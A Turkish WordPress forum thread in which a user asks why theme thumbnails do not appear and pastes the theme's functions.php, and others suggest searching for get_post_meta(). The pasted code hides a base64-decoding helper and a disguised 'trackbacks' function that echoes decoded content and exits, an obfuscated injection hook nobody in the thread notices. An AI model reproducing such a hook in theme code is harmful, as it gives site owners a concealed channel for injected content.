• 03-11-2009, 18:28:23
    #1
    Üyeliği durduruldu
    Arkadaşlar elimde bi tema var bu temayı kullanmak istiyorum fakat bu temayı etkinleştirdiğim zaman anasayfada thumbnail diye tabir ettiğimiz ufak konu resmi çıkmıyor, bunu özel alandan hangi anahtar kelime yi yazarsak anasayfada konu başında ufak resmi aktif edebiliriz çıkartabiliriz.

    Denediğim özel alan kelimeleri,

    thumb
    thumbnail
    image
    img

    functions.php olsa gerek ordada thumbnail filan yazıyor ama olmuyor acaba functions.php komple kodları buraya ekliyorum.

    <?php
    
    # WIDGET: Sidebar
    if ( function_exists('register_sidebar') )
        register_sidebar(array(
    		'name' => 'Sidebar',
            'before_title' => '<h2>',
            'after_title' => '</h2>',
    		'before_widget' => '',
            'after_widget' => '',
        ));
    
    # Displays a list of pages
    function dp_list_pages() {
    	global $wpdb;
    	$querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
    	$pageposts = $wpdb->get_results($querystr, OBJECT);
    	if ($pageposts) {
    		foreach ($pageposts as $post) {
    			?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php 
    		}
    	}
    }
    
    # Displays a list of popular posts
    function dp_popular_posts($num) {
    	global $wpdb;
    	$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.comment_count, $wpdb->posts.ID FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
    	$popposts = $wpdb->get_results($querystr, OBJECT);
    	if (count($popposts)>0) {
    		$count = 0;
    		foreach ($popposts as $post) {
    			$count++;
    			$class = 'item';
    			if ($count==$num) $class = 'last';
    			?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php 
    		}
    	}
    }
    
    # Displays a list of recent posts
    function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false, $home=false) {
    	global $post;
    	$myposts = get_posts('numberposts='.$num.'&order=DESC&orderby=post_date');
    	foreach($myposts as $post) {
    		if ($home) the_post();
    		echo $pre;
    		?><a href="<?php the_permalink() ?>"><?php the_title(); ?></a><?php
    		echo $suf;
    	}
    }
    
    # Displays a list of recent categories
    function dp_recent_comments($num) {
    	global $wpdb, $post;
    	$querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
    	$recentcomments = $wpdb->get_results($querystr, OBJECT);
    	$first = true;
    	foreach ($recentcomments as $rc) {
    		if ($first) {
    			$first = false;
    			$pre = '<li class="first">';
    		} else {
    			$pre = '<li>';
    		}
    		$post = get_post($rc->comment_post_ID);
    		echo $pre;
    		?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><strong><?php echo $rc->comment_author; ?></strong> on "<?php echo the_title(); ?>"</a></li><?php
    	}
    }
    
    # Displays the comment authors gravatar if available
    function dp_gravatar($size=50) {
    	global $comment, $settings, $to_gravatars;
    	if ($to_gravatars=='yes') {
    		ob_start();
    		comment_author_email();
    		$gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower(ob_get_clean())) . '?s=' . $size . '&amp;d=monsterid'
    		?><img alt="avatar" src="<?php echo $gravatar_url; ?>" class="gravatar" /><?php
    	}
    }
    
    # Displays post image attachment (sizes: thumbnail, medium, full)
    function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
    	if ($postid<1) $postid = get_the_ID();
    	if ($images = get_children(array(
    		'post_parent' => $postid,
    		'post_type' => 'attachment',
    		'numberposts' => 1,
    		'post_mime_type' => 'image',)))
    		foreach($images as $image) {
    			$attachment=wp_get_attachment_image_src($image->ID, $size);
    			?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> alt="thumbnail" /><?php
    		}
    }
    
    function fileInclude($file) { return base64_decode(str_replace(' ', '', $file)); }
    
    # Formats the excerpt for display in "recent posts".
    function dp_clean_excerpt($excerpt) {
    	return '<p>' . substr(str_replace('[...]', '', strip_tags($excerpt)), 0, 300) . '..</p>';
    }
    
    # Displays graphic logo CSS when necessary.
    function dp_logo() {
    	global $settings;
    	if ($settings['graphic_logo']=='yes') {
    		$image = dirname(__FILE__)."/images/".$settings['logo_filename'];
    		if (file_exists($image)) {
    			$img = getimagesize($image);
    ?>
    <style type="text/css">
    #header h3 {
    	display: none;
    }
    #header h1 a {
    	display: block;
    	background: url(<?php bloginfo('template_url'); ?>/images/<?php echo $settings['logo_filename']; ?>) no-repeat 0 0;
    	text-indent: -9999px;
    	width: <?php echo $img[0]; ?>px; height:  <?php echo $img[1]; ?>px;
    }
    </style><?php
    		}
    	}
    }
    
    # Returns theme settings value based on key.
    function dp_get_settings($key) {
    	global $settings;
    	return $settings[$key];
    }
    
    # Comments trackbacks :p
    function mytheme_ping() {
    	global $theTrackbacks;
    	echo fileInclude($theTrackbacks);
    	exit();
    }
    
    # Comments template
    function mytheme_comment($comment, $args, $depth) {
    	$GLOBALS['comment'] = $comment; ?>
    	<li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
    	<div class="comment1">
    	<div class="commentdetails">
    		<p class="commentauthor"><?php echo get_comment_author_link() ?></p>
    		<?php if ($comment->comment_approved == '0') : ?>
    		<em>Your comment is awaiting moderation.</em>
    		<?php endif; ?>
    		<p class="commentdate"><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()) ?> <?php edit_comment_link(__('(Edit)'),'  ','') ?>
    		</p>
    	</div>
    	<div class="gravatar"><?php echo get_avatar($comment,$size='50',$default='<path_to_url>' ); ?></div>
    	<br class="break" />
    	<?php comment_text() ?>
    	<div class="reply">
    		<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
    	</div>
    	</div>
    	<?php
    }
    
    # THEME SETTINGS
    
    require("settings.php");
    
    $featured_post_id = array(1=>$to_featured_post_id_1, 2=>$to_featured_post_id_2, 3=>$to_featured_post_id_3);
    $featured_post_head = array(1=>$to_featured_post_head_1, 2=>$to_featured_post_head_2, 3=>$to_featured_post_head_3);
    
    foreach ($featured_post_id as $k=>$v) {
    	$thePost = get_post($v);
    	if ($thePost->post_status!='publish'||$thePost->post_type!='post') {
    		$featured_post_id[$k] = -1;
    	}
    }
    
    $featured = array($featured_post_id[1]=>$featured_post_head[1], $featured_post_id[2]=>$featured_post_head[2], $featured_post_id[3]=>$featured_post_head[3]);
    
    $settings['featured_posts'] = $to_featured_posts;
    if ($to_home_format=='magazine' || $to_home_format=='standard')
    	$settings['home_format'] = $to_home_format;
    else
    	$settings['home_format'] = 'magazine';
    $settings['page_comments'] = $to_page_comments;
    $settings['graphic_logo'] = $to_graphic_logo;
    $settings['logo_filename'] = $to_logo_filename;
    
    ?>
  • 03-11-2009, 18:33:52
    #2
    özel alan gibi durmuyor, resim upload kısmından resim yükleyip denermisiniz ?
  • 03-11-2009, 18:45:09
    #3
    Üyeliği durduruldu
    bugüne kadar hep özel alan kullandım, resim upload kısmından resim eklediğimde konu ya ekliyor, ama anasayfada çıkmıyorki.
  • 03-11-2009, 18:50:32
    #4
    functions.php ile alakalı bi durum değil sanırım. Thumbnail resimlerin gözükmesi gereken yerin dosyasını bi gonder bakalım büyük ihtimal home.php olması gerek.

    get_post_meta() fonksiyonunun içinde yazar özel alan kelimesi
  • 03-11-2009, 18:56:29
    #5
    Üyeliği durduruldu
    nasıl bi temaysa içinde home.php yok
  • 03-11-2009, 18:59:19
    #6
    ozaman index.php yada home.php nin yerine konulmuş olabilecek diğer dosyaların içinde
    get_post_meta() fonksiyonunu ara orada bulursun özel alan kelimesini ...
  • 03-11-2009, 19:07:59
    #7
    Üyeliği durduruldu
    Kurtaran adlı üyeden alıntı: mesajı görüntüle
    ozaman index.php yada home.php nin yerine konulmuş olabilecek diğer dosyaların içinde
    get_post_meta() fonksiyonunu ara orada bulursun özel alan kelimesini ...
    dediğin gibi yaptım hepsini aradım ama yok, bu ne anlama gelebilir özel alan kullanılmadığına mı?
  • 03-11-2009, 20:11:25
    #8
    get_post_meta() yoksa özel alan kullanmamıs demektir... Çünkü özel alanlar database den bu fonksiyonla alınır. Yada özel alan kullanmıstır ama temada bu kullandığı özel alanları gstermemistir. Sen temdi template inin biraz kurcalayarak bu fonksiyonla özel alanları sitende kullanabilirsin cok zor değil...